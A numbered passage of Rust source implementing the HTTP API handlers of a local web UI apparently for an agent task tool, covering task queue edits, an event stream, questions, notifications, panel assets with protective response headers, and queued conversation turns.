3358) -> ApiResult<Json<TaskView>> {
3359 let body = match body {
3363 Ok(Json(body)) => body,
3364 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3365 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3366 };
3367 let reason = body.reason.filter(|r| !r.trim().is_empty());
3368 mutate(ui, id, move |t| {
3369 t.hold_manual(reason.clone());
3370 Ok(())
3371 })
3372 .await
3373}
3374
3375async fn queue_release(
3376 State(ui): State<Arc<Ui>>,
3377 Path(id): Path<String>,
3378) -> ApiResult<Json<TaskView>> {
3379 mutate(ui, id, |t| {
3380 t.release();
3381 Ok(())
3382 })
3383 .await
3384}
3385
3386#[derive(Debug, Deserialize)]
3388#[serde(deny_unknown_fields)]
3389struct PriorityBody {
3390 priority: i32,
3391}
3392
3393async fn queue_priority(
3399 State(ui): State<Arc<Ui>>,
3400 Path(id): Path<String>,
3401 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3402) -> ApiResult<Json<TaskView>> {
3403 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3404 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3405}
3406
3407#[derive(Debug, Deserialize)]
3409#[serde(deny_unknown_fields)]
3410struct EditBody {
3411 title: String,
3412 instruction: String,
3413 #[serde(default)]
3416 force: bool,
3417}
3418
3419async fn queue_edit(
3423 State(ui): State<Arc<Ui>>,
3424 Path(id): Path<String>,
3425 body: std::result::Result<Json<EditBody>, JsonRejection>,
3426) -> ApiResult<Json<TaskView>> {
3427 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3428 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
3429 mutate(ui, id, move |t| {
3430 if !body.force && body.instruction != t.instruction {
3431 let hits =
3432 crate::dupes::check(&queue, &runs, &t.repo, &body.instruction, None, Some(&t.id));
3433 if !hits.is_empty() {
3434 return Err(crate::dupes::Duplicate(hits).into());
3435 }
3436 }
3437 t.edit(body.title.clone(), body.instruction.clone())
3438 })
3439 .await
3440}
3441
3442async fn queue_done(
3450 State(ui): State<Arc<Ui>>,
3451 Path(id): Path<String>,
3452) -> ApiResult<Json<TaskView>> {
3453 let home = ui.home.clone();
3454 mutate(ui, id, move |t| {
3455 t.succeed();
3456 crate::daemon::supersede_prior_runs(t, &home);
3464 Ok(())
3465 })
3466 .await
3467}
3468
3469async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3477 blocking(move || {
3478 let id = resolve_task(&ui.queue, &id)?;
3479 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3480 ui.queue
3481 .remove(&id, in_flight, &ui.questions)
3482 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3483 Ok(StatusCode::NO_CONTENT)
3484 })
3485 .await
3486}
3487
3488async fn mutate(
3497 ui: Arc<Ui>,
3498 id: String,
3499 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3500) -> ApiResult<Json<TaskView>> {
3501 blocking(move || {
3502 let id = resolve_task(&ui.queue, &id)?;
3503 let _claim = ui.queue.claim(&id).map_err(|e| {
3508 ApiError::conflict(format!(
3509 "{e:#} - a daemon is running this task, so it cannot be \
3510 changed from here yet"
3511 ))
3512 })?;
3513 let mut task = ui.queue.get(&id)?;
3514 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
3515 Ok(dup) => ApiError::conflict(dup.render(
3516 "Nothing was saved. If it is not a duplicate, repeat the request with \
3517 \"force\": true.",
3518 )),
3519 Err(e) => ApiError::bad_request_from(e),
3520 })?;
3521 ui.queue.put(&mut task)?;
3522 Ok(Json(TaskView::from(task)))
3523 })
3524 .await
3525}
3526
3527async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3535 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3536 tokio::spawn(async move {
3537 let mut ticker = tokio::time::interval(POLL);
3538 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3539 loop {
3540 ticker.tick().await;
3543 let state = Arc::clone(&ui);
3544 let revisions = tokio::task::spawn_blocking(move || {
3545 (
3546 state.queue.revision(),
3547 runs_revision(&state.runs),
3548 state.questions.revision(),
3549 state.talks.revision(),
3550 state.notices.revision(),
3551 state.lock_loop().rev,
3555 )
3556 })
3557 .await;
3558 let Ok(revisions) = revisions else { break };
3559 if last == Some(revisions) {
3560 continue;
3561 }
3562 last = Some(revisions);
3563 let payload = serde_json::json!({
3564 "queue_rev": revisions.0,
3565 "runs_rev": revisions.1,
3566 "questions_rev": revisions.2,
3567 "talks_rev": revisions.3,
3568 "notifications_rev": revisions.4,
3569 "loop_rev": revisions.5,
3570 });
3571 let Ok(event) = Event::default().event("change").json_data(payload) else {
3573 break;
3574 };
3575 if tx.send(event).await.is_err() {
3576 break;
3577 }
3578 }
3579 });
3580 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3581 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3582}
3583
3584fn runs_revision(runs: &FsPath) -> u64 {
3591 use std::hash::{Hash as _, Hasher as _};
3592
3593 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3594 .into_iter()
3595 .flatten()
3596 .flatten()
3597 .filter_map(|e| {
3598 let path = e.path().join("run.json");
3599 let mtime = path
3600 .metadata()
3601 .ok()?
3602 .modified()
3603 .ok()?
3604 .duration_since(std::time::UNIX_EPOCH)
3605 .ok()?
3606 .as_millis() as u64;
3607 let id = e.file_name().to_string_lossy().into_owned();
3608 Some((id, mtime))
3609 })
3610 .collect();
3611
3612 if entries.is_empty() {
3613 return 0;
3614 }
3615
3616 entries.sort_unstable();
3617 let mut hasher = std::hash::DefaultHasher::new();
3618 for (id, mtime) in &entries {
3619 id.hash(&mut hasher);
3620 mtime.hash(&mut hasher);
3621 }
3622 let h = hasher.finish();
3623 if h == 0 { 1 } else { h }
3624}
3625
3626fn run_ids(runs: &FsPath) -> Vec<String> {
3632 let mut ids: Vec<String> = std::fs::read_dir(runs)
3633 .into_iter()
3634 .flatten()
3635 .flatten()
3636 .filter(|e| e.path().join("run.json").is_file())
3637 .map(|e| e.file_name().to_string_lossy().into_owned())
3638 .collect();
3639 ids.sort_unstable_by(|a, b| b.cmp(a));
3641 ids
3642}
3643
3644fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3646 let path = runs.join(id).join("run.json");
3647 let body =
3648 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3649 let state: RunState =
3650 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3651 if state.schema != run::SCHEMA {
3652 anyhow::bail!(
3653 "run {} was written by a different magi (schema {}, this build speaks {})",
3654 state.id,
3655 state.schema,
3656 run::SCHEMA
3657 );
3658 }
3659 Ok(state)
3660}
3661
3662#[must_use]
3670pub fn runs_unreadable(runs: &FsPath) -> usize {
3671 run_ids(runs)
3672 .into_iter()
3673 .filter(|id| read_run(runs, id).is_err())
3674 .count()
3675}
3676
3677fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3679 if runs.join(id).join("run.json").is_file() {
3680 return Ok(id.to_owned());
3681 }
3682 pick(run_ids(runs), id, "run")
3683}
3684
3685fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3687 if queue.path_of(id).is_file() {
3688 return Ok(id.to_owned());
3689 }
3690 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3691}
3692
3693#[derive(Debug, Serialize)]
3704struct QuestionView {
3705 #[serde(flatten)]
3706 question: Question,
3707 detail_md: Vec<md::Node>,
3708 waiting_on_agent: bool,
3718 holder: Option<&'static str>,
3722}
3723
3724impl QuestionView {
3725 fn of(question: Question, store: &ask::Questions) -> Self {
3729 let base = md::ImageBase::QuestionPanel {
3730 id: question.id.clone(),
3731 };
3732 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
3733 Self {
3734 detail_md: md::to_nodes(&question.detail, &base),
3735 waiting_on_agent: question.waiting_on_agent(),
3736 holder,
3737 question,
3738 }
3739 }
3740}
3741
3742fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
3749 if !q.status.open() || q.cwd.is_none() {
3750 return None;
3751 }
3752 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
3753 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
3754 Some(_) => "asker",
3755 None => "nobody",
3756 })
3757}
3758
3759async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3765 blocking(move || {
3766 Ok(Json(
3767 ui.questions
3768 .list()
3769 .into_iter()
3770 .map(|q| QuestionView::of(q, &ui.questions))
3771 .collect(),
3772 ))
3773 })
3774 .await
3775}
3776
3777async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3780 blocking(move || {
3781 let items = ui.notices.list();
3782 let unread = items.iter().filter(|n| n.unread()).count();
3783 Ok(Json(
3784 serde_json::json!({ "unread": unread, "items": items }),
3785 ))
3786 })
3787 .await
3788}
3789
3790fn notice_error(e: anyhow::Error) -> ApiError {
3791 ApiError::not_found(format!("{e:#}"))
3794}
3795
3796async fn notification_read(
3798 State(ui): State<Arc<Ui>>,
3799 Path(id): Path<String>,
3800) -> ApiResult<Json<Notice>> {
3801 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3802}
3803
3804async fn notification_dismiss(
3806 State(ui): State<Arc<Ui>>,
3807 Path(id): Path<String>,
3808) -> ApiResult<Json<Notice>> {
3809 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3810}
3811
3812async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3814 blocking(move || {
3815 let changed = ui.notices.mark_all_read()?;
3816 Ok(Json(serde_json::json!({ "marked": changed })))
3817 })
3818 .await
3819}
3820
3821#[derive(Debug, Default, Deserialize)]
3827#[serde(default, deny_unknown_fields)]
3828struct NewAnswer {
3829 choice: Option<String>,
3830 text: Option<String>,
3831}
3832
3833async fn question_answer(
3834 State(ui): State<Arc<Ui>>,
3835 Path(id): Path<String>,
3836 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3837) -> ApiResult<Json<QuestionView>> {
3838 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3839 let answer = match (body.choice, body.text) {
3840 (Some(c), None) => Answer::Choice(c),
3841 (None, Some(t)) => Answer::Text(t),
3842 (Some(_), Some(_)) => {
3843 return Err(ApiError::bad_request(
3844 "send either `choice` or `text`, not both",
3845 ));
3846 }
3847 (None, None) => {
3848 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3849 }
3850 };
3851
3852 blocking(move || {
3853 let id = resolve_question(&ui.questions, &id)?;
3854 let q = ui
3855 .questions
3856 .get(&id)
3857 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3858 if !q.status.open() {
3859 return Err(ApiError::conflict(format!(
3863 "question {} is already {}",
3864 q.short(),
3865 q.status.as_str()
3866 )));
3867 }
3868 let (q, ()) = ui
3872 .questions
3873 .update(&q.id, |r| r.answer(answer))
3874 .map_err(ApiError::bad_request_from)?;
3875 Ok(Json(QuestionView::of(q, &ui.questions)))
3876 })
3877 .await
3878}
3879
3880#[derive(Debug, Deserialize)]
3882#[serde(deny_unknown_fields)]
3883struct NewSay {
3884 body: String,
3885}
3886
3887async fn question_say(
3897 State(ui): State<Arc<Ui>>,
3898 Path(id): Path<String>,
3899 body: std::result::Result<Json<NewSay>, JsonRejection>,
3900) -> ApiResult<Json<QuestionView>> {
3901 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3902 blocking(move || {
3903 let id = resolve_question(&ui.questions, &id)?;
3904 let q = ui
3905 .questions
3906 .get(&id)
3907 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3908 if !q.status.open() {
3909 return Err(ApiError::conflict(format!(
3913 "question {} is already {}",
3914 q.short(),
3915 q.status.as_str()
3916 )));
3917 }
3918 let (q, ()) = ui
3921 .questions
3922 .update(&q.id, |r| r.say(body.body))
3923 .map_err(ApiError::bad_request_from)?;
3924 Ok(Json(QuestionView::of(q, &ui.questions)))
3925 })
3926 .await
3927}
3928
3929fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3931 if store.path_of(id).is_file() {
3932 return Ok(id.to_owned());
3933 }
3934 pick(
3935 store.list().into_iter().map(|q| q.id).collect(),
3936 id,
3937 "question",
3938 )
3939}
3940
3941async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3956 blocking(move || {
3957 let id = resolve_question(&ui.questions, &id)?;
3958 let Some(html) = ui.questions.panel_html(&id) else {
3959 return Err(ApiError::not_found(format!("question {id} has no panel")));
3960 };
3961 Ok(panel_response(
3962 "text/html; charset=utf-8",
3963 false,
3964 html.into_bytes(),
3965 ))
3966 })
3967 .await
3968}
3969
3970async fn question_asset(
3998 State(ui): State<Arc<Ui>>,
3999 Path((id, name)): Path<(String, String)>,
4000) -> ApiResult<Response> {
4001 if !crate::ask::valid_asset_name(&name) {
4004 return Err(ApiError::bad_request(format!(
4005 "`{name}` is not a usable asset name"
4006 )));
4007 }
4008 blocking(move || {
4009 let id = resolve_question(&ui.questions, &id)?;
4010 let asset = ui
4011 .questions
4012 .panel_asset(&id, &name)
4013 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4014 let Some(bytes) = asset else {
4015 return Err(ApiError::not_found(format!(
4016 "question {id} has no asset `{name}`"
4017 )));
4018 };
4019 Ok(panel_response(
4020 asset_content_type(&name),
4021 is_svg(&name),
4022 bytes,
4023 ))
4024 })
4025 .await
4026}
4027
4028fn asset_content_type(name: &str) -> &'static str {
4041 match extension(name).as_deref() {
4042 Some("png") => "image/png",
4043 Some("jpg" | "jpeg") => "image/jpeg",
4044 Some("gif") => "image/gif",
4045 Some("webp") => "image/webp",
4046 Some("svg") => "image/svg+xml",
4047 Some("css") => "text/css; charset=utf-8",
4048 Some("txt") => "text/plain; charset=utf-8",
4049 _ => "application/octet-stream",
4050 }
4051}
4052
4053fn is_svg(name: &str) -> bool {
4056 extension(name).as_deref() == Some("svg")
4057}
4058
4059fn extension(name: &str) -> Option<String> {
4061 name.rsplit_once('.')
4062 .map(|(_, ext)| ext.to_ascii_lowercase())
4063}
4064
4065fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
4082 let mut res = (
4083 [
4084 (header::CONTENT_TYPE, content_type),
4085 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
4086 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4087 (header::REFERRER_POLICY, "no-referrer"),
4088 ],
4089 body,
4090 )
4091 .into_response();
4092 if download {
4093 res.headers_mut().insert(
4094 header::CONTENT_DISPOSITION,
4095 HeaderValue::from_static("attachment"),
4096 );
4097 }
4098 res
4099}
4100
4101#[derive(Debug, Serialize)]
4107struct TalkView {
4108 #[serde(flatten)]
4109 talk: Talk,
4110 turn_bodies_md: Vec<Vec<md::Node>>,
4111 thinking: bool,
4119}
4120
4121impl TalkView {
4122 fn new(talk: Talk, thinking: bool) -> Self {
4123 let turn_bodies_md = talk
4124 .turns
4125 .iter()
4126 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4127 .collect();
4128 Self {
4129 turn_bodies_md,
4130 thinking,
4131 talk,
4132 }
4133 }
4134}
4135
4136#[derive(Debug, Serialize)]
4141struct TalkDetailView {
4142 #[serde(flatten)]
4143 view: TalkView,
4144 tasks: Vec<TaskView>,
4145}
4146
4147async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4152 blocking(move || {
4153 Ok(Json(
4154 ui.talks
4155 .list()
4156 .into_iter()
4157 .map(|talk| {
4158 let thinking = ui.is_thinking(&talk.id);
4159 TalkView::new(talk, thinking)
4160 })
4161 .collect(),
4162 ))
4163 })
4164 .await
4165}
4166
4167#[derive(Debug, Default, Deserialize)]
4172#[serde(default)]
4173struct NewTalk {
4174 agent: Option<String>,
4175 repo: Option<PathBuf>,
4176}
4177
4178async fn talk_post(
4181 State(ui): State<Arc<Ui>>,
4182 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4183) -> ApiResult<impl IntoResponse> {
4184 let body = match body {
4188 Ok(Json(body)) => body,
4189 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4190 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4191 };
4192 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4193 let cfg = config_for(&repo).await?;
4194 let view = blocking(move || {
4195 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4196 let thinking = ui.is_thinking(&talk.id);
4197 Ok(TalkView::new(talk, thinking))
4198 })
4199 .await?;
4200 Ok((StatusCode::CREATED, Json(view)))
4201}
4202
4203async fn talk_detail(
4205 State(ui): State<Arc<Ui>>,
4206 Path(id): Path<String>,
4207) -> ApiResult<Json<TalkDetailView>> {
4208 blocking(move || {
4209 let id = resolve_talk(&ui.talks, &id)?;
4210 let talk = ui.talks.get(&id)?;
4211 let thinking = ui.is_thinking(&talk.id);
4212 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4213 .into_iter()
4214 .map(TaskView::from)
4215 .collect();
4216 Ok(Json(TalkDetailView {
4217 view: TalkView::new(talk, thinking),
4218 tasks,
4219 }))
4220 })
4221 .await
4222}
4223
4224#[derive(Debug, Default, Deserialize)]
4230#[serde(default, deny_unknown_fields)]
4231struct NewTalkTurn {
4232 text: String,
4233 attachments: Vec<String>,
4234}
4235
4236#[derive(Debug, Deserialize)]
4237#[serde(deny_unknown_fields)]
4238struct EditTalkPending {
4239 text: String,
4240 expected_text: String,
4241 expected_attachments: Vec<String>,
4242}
4243
4244#[derive(Debug, Deserialize)]
4245#[serde(deny_unknown_fields)]
4246struct ClearTalkPending {
4247 expected_text: String,
4248 expected_attachments: Vec<String>,
4249}
4250
4251async fn talk_say(
4263 State(ui): State<Arc<Ui>>,
4264 Path(id): Path<String>,
4265 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4266) -> ApiResult<(StatusCode, Json<TalkView>)> {
4267 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4268 if body.text.trim().is_empty() && body.attachments.is_empty() {
4269 return Err(ApiError::bad_request("say something"));
4270 }
4271
4272 let id = {
4273 let ui = Arc::clone(&ui);
4274 let asked = id.clone();
4275 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4276 };
4277 {
4281 let ui = Arc::clone(&ui);
4282 let id = id.clone();
4283 blocking(move || {
4284 let talk = ui.talks.get(&id)?;
4285 if !talk.status.open() {
4286 return Err(ApiError::conflict(format!(
4287 "talk {} is {} and takes no more turns",
4288 talk.short(),
4289 talk.status.as_str()
4290 )));
4291 }
4292 Ok(())
4293 })
4294 .await?;
4295 }
4296
4297 let attachments = {
4302 let ui = Arc::clone(&ui);
4303 let id = id.clone();
4304 let ids = body.attachments.clone();
4305 blocking(move || {
4306 ids.into_iter()
4307 .map(|att_id| {
4308 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4309 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4310 })
4311 })
4312 .collect::<ApiResult<Vec<talk::Attachment>>>()
4313 })
4314 .await?
4315 };
4316
4317 let start = {
4322 let ui = Arc::clone(&ui);
4323 let id = id.clone();
4324 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4325 };
4326 let turn_guard = match start {
4327 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4328 TalkTurnStart::Pending => {
4329 return Err(ApiError::conflict(
4330 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4331 ));
4332 }
4333 TalkTurnStart::Busy => {
4334 let (tx, rx) = tokio::sync::oneshot::channel();
4350 tokio::spawn({
4351 let ui = Arc::clone(&ui);
4352 let id = id.clone();
4353 let said = body.text.clone();
4354 async move {
4355 let written = blocking({
4356 let ui = Arc::clone(&ui);
4357 let id = id.clone();
4358 move || {
4359 let mut talk = ui.talks.get(&id)?;
4360 #[cfg(test)]
4365 if let Some(gate) = ui
4366 .busy_queue_gate
4367 .lock()
4368 .unwrap_or_else(PoisonError::into_inner)
4369 .take()
4370 {
4371 let _ = gate.reached.send(());
4372 let _ = gate.release.recv();
4373 }
4374 if let Err(error) =
4375 talk::queue(&mut talk, &ui.talks, &said, attachments)
4376 {
4377 if let Ok(fresh) = ui.talks.get(&id) {
4378 if !fresh.status.open() {
4379 return Err(ApiError::conflict(format!(
4380 "talk {} is {} and takes no more turns",
4381 fresh.short(),
4382 fresh.status.as_str()
4383 )));
4384 }
4385 }
4386 return Err(ApiError::from(error));
4387 }
4388 let claim = match ui.begin_queued_talk_turn(&id)? {
4399 Some(turn_guard) => {
4400 let (cfg, _) = Config::discover(&talk.repo, None)?;
4401 Some((talk.clone(), cfg, turn_guard))
4402 }
4403 None => None,
4404 };
4405 let thinking = ui.is_thinking(&id);
4406 Ok((TalkView::new(talk, thinking), claim))
4407 }
4408 })
4409 .await;
4410 let (view, reclaimed) = match written {
4411 Ok(pair) => pair,
4412 Err(e) => {
4413 let _ = tx.send(Err(e));
4418 return;
4419 }
4420 };
4421 let _ = tx.send(Ok(view));
4424 if let Some((talk, cfg, turn_guard)) = reclaimed {
4425 let talks = ui.talks.clone();
4426 drain_loop(talk, talks, cfg, id, turn_guard).await;
4427 }
4428 }
4429 });
4430 let view = rx
4431 .await
4432 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4433 return Ok((StatusCode::ACCEPTED, Json(view)));
4434 }
4435 };
4436
4437 let (talk, cfg) = {
4438 let ui = Arc::clone(&ui);
4439 let id = id.clone();
4440 blocking(move || {
4441 let talk = ui.talks.get(&id)?;
4442 let (cfg, _) = Config::discover(&talk.repo, None)?;
4443 Ok((talk, cfg))
4444 })
4445 .await?
4446 };
4447
4448 let talks = ui.talks.clone();
4449 let (tx, rx) = tokio::sync::oneshot::channel();
4464 tokio::spawn({
4465 let ui = Arc::clone(&ui);
4466 let talks = talks.clone();
4467 let id = id.clone();
4468 let said = body.text.clone();
4469 let mut talk = talk.clone();
4470 async move {
4471 let recorded = blocking({
4472 let talks = talks.clone();
4473 move || {
4474 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4475 if let Ok(fresh) = talks.get(&talk.id) {
4476 if !fresh.status.open() {
4477 return Err(ApiError::conflict(format!(
4478 "talk {} is {} and takes no more turns",
4479 fresh.short(),
4480 fresh.status.as_str()
4481 )));
4482 }
4483 }
4484 return Err(ApiError::from(error));
4485 }
4486 Ok((said.trim().to_owned(), talk))
4492 }
4493 })
4494 .await;
4495 let (text, mut talk) = match recorded {
4496 Ok(pair) => pair,
4497 Err(e) => {
4498 let _ = tx.send(Err(e));
4502 return;
4503 }
4504 };
4505 let queued = talk.clone();
4506 let thinking = ui.is_thinking(&id);
4507 let _ = tx.send(Ok((queued, thinking)));
4510
4511 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4512 tracing::warn!("talk {id} turn failed: {e:#}");
4516 }
4517 drain_loop(talk, talks, cfg, id, turn_guard).await;
4520 }
4521 });
4522
4523 let (queued, thinking) = rx
4524 .await
4525 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4526
4527 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4529}
4530
4531async fn talk_pending_resume(
4535 State(ui): State<Arc<Ui>>,
4536 Path(id): Path<String>,
4537) -> ApiResult<(StatusCode, Json<TalkView>)> {
4538 let id = {
4539 let ui = Arc::clone(&ui);
4540 let asked = id.clone();
4541 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4542 };
4543 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4544 return Err(ApiError::conflict(
4545 "a talk turn is already running; the queued draft will be handled by it",
4546 ));
4547 };
4548 let (talk, cfg) = {
4549 let ui = Arc::clone(&ui);
4550 let id = id.clone();
4551 blocking(move || {
4552 let talk = ui.talks.get(&id)?;
4553 if !talk.status.open() {
4554 return Err(ApiError::conflict(format!(
4555 "talk {} is {} and takes no more turns",
4556 talk.short(),
4557 talk.status.as_str()
4558 )));
4559 }
4560 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4561 return Err(ApiError::conflict("there is no queued draft to resume"));
4562 }
4563 let (cfg, _) = Config::discover(&talk.repo, None)?;
4564 Ok((talk, cfg))
4565 })
4566 .await?
4567 };
4568 let view = TalkView::new(talk.clone(), true);
4569 let talks = ui.talks.clone();
4570 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4571 Ok((StatusCode::ACCEPTED, Json(view)))
4572}
4573
4574async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4590 let live_set = Arc::clone(&turn.turns);
4591 let mut turn = Some(turn);
4599 loop {
4600 let observed = live_set
4604 .lock()
4605 .unwrap_or_else(PoisonError::into_inner)
4606 .queued
4607 .get(&id)
4608 .copied()
4609 .unwrap_or(0);
4610 let drained = blocking({
4611 let talks = talks.clone();
4612 move || {
4613 let result = talk::drain(&mut talk, &talks);
4614 Ok((talk, result))
4615 }
4616 })
4617 .await;
4618 let (next_talk, result) = match drained {
4619 Ok(drained) => drained,
4620 Err(e) => {
4621 tracing::warn!(
4622 status = %e.status,
4623 message = %e.message,
4624 "talk {id} could not start queued-text drain"
4625 );
4626 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4627 turn.take()
4628 .expect("held for the whole loop until released here")
4629 .release(&mut live);
4630 break;
4631 }
4632 };
4633 talk = next_talk;
4634 let drained = match result {
4635 Ok(Some(drained)) => drained,
4636 Ok(None) => {
4637 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4638 if live.queued.get(&id).copied().unwrap_or(0) != observed {
4639 continue;
4640 }
4641 turn.take()
4642 .expect("held for the whole loop until released here")
4643 .release(&mut live);
4644 break;
4645 }
4646 Err(e) => {
4647 tracing::warn!("talk {id} could not drain queued text: {e:#}");
4648 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4649 turn.take()
4650 .expect("held for the whole loop until released here")
4651 .release(&mut live);
4652 break;
4653 }
4654 };
4655 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4656 tracing::warn!("talk {id} turn failed: {e:#}");
4657 }
4658 }
4659}
4660
4661async fn talk_pending_clear(
4663 State(ui): State<Arc<Ui>>,
4664 Path(id): Path<String>,
4665 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4666) -> ApiResult<Json<TalkView>> {
4667 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4668 blocking(move || {
4669 let id = resolve_talk(&ui.talks, &id)?;
4670 let mut talk = ui.talks.get(&id)?;
4671 if !talk.status.open() {
4672 return Err(ApiError::conflict(format!(
4673 "talk {} is {} and takes no more turns",
4674 talk.short(),
4675 talk.status.as_str()
4676 )));
4677 }
4678 if !talk::clear_pending_if_matches(
4679 &mut talk,
4680 &ui.talks,
4681 &body.expected_text,
4682 &body.expected_attachments,
4683 )? {
4684 return Err(ApiError::conflict(
4685 "queued message changed; reload it before clearing",
4686 ));
4687 }
4688 let thinking = ui.is_thinking(&talk.id);
4689 Ok(Json(TalkView::new(talk, thinking)))
4690 })
4691 .await
4692}
4693
4694async fn talk_pending_edit(
4698 State(ui): State<Arc<Ui>>,
4699 Path(id): Path<String>,
4700 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4701) -> ApiResult<Json<TalkView>> {
4702 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4703 let (view, reclaimed) = blocking({
4704 let ui = Arc::clone(&ui);
4705 move || {
4706 let id = resolve_talk(&ui.talks, &id)?;
4707 let mut talk = ui.talks.get(&id)?;
4708 if !talk.status.open() {
4709 return Err(ApiError::conflict(format!(
4710 "talk {} is {} and takes no more turns",
4711 talk.short(),
4712 talk.status.as_str()
4713 )));
4714 }
4715 if !talk::edit_pending_text(
4716 &mut talk,
4717 &ui.talks,
4718 &body.text,
4719 &body.expected_text,
4720 &body.expected_attachments,
4721 )? {
4722 return Err(ApiError::conflict(
4723 "queued message changed; reload it before editing",
4724 ));
4725 }
4726 let claim = match ui.begin_queued_talk_turn(&id)? {
4727 Some(turn_guard) => {
4728 let (cfg, _) = Config::discover(&talk.repo, None)?;
4729 Some((talk.clone(), cfg, id.clone(), turn_guard))
4730 }
4731 None => None,
4732 };
4733 let thinking = ui.is_thinking(&id);
4734 Ok((TalkView::new(talk, thinking), claim))
4735 }
4736 })
4737 .await?;
4738 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4739 let talks = ui.talks.clone();
4740 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4741 }
4742 Ok(Json(view))
4743}
4744
4745async fn talk_close(
4747 State(ui): State<Arc<Ui>>,
4748 Path(id): Path<String>,
4749) -> ApiResult<Json<TalkView>> {
4750 blocking(move || {
4751 let id = resolve_talk(&ui.talks, &id)?;
4752 let mut talk = ui.talks.get(&id)?;
4753 talk::close(&mut talk, &ui.talks)?;
4754 let thinking = ui.is_thinking(&talk.id);
4755 Ok(Json(TalkView::new(talk, thinking)))
4756 })
4757 .await
4758}
4759
4760async fn talk_reopen(
4762 State(ui): State<Arc<Ui>>,
4763 Path(id): Path<String>,
4764) -> ApiResult<Json<TalkView>> {
4765 blocking(move || {
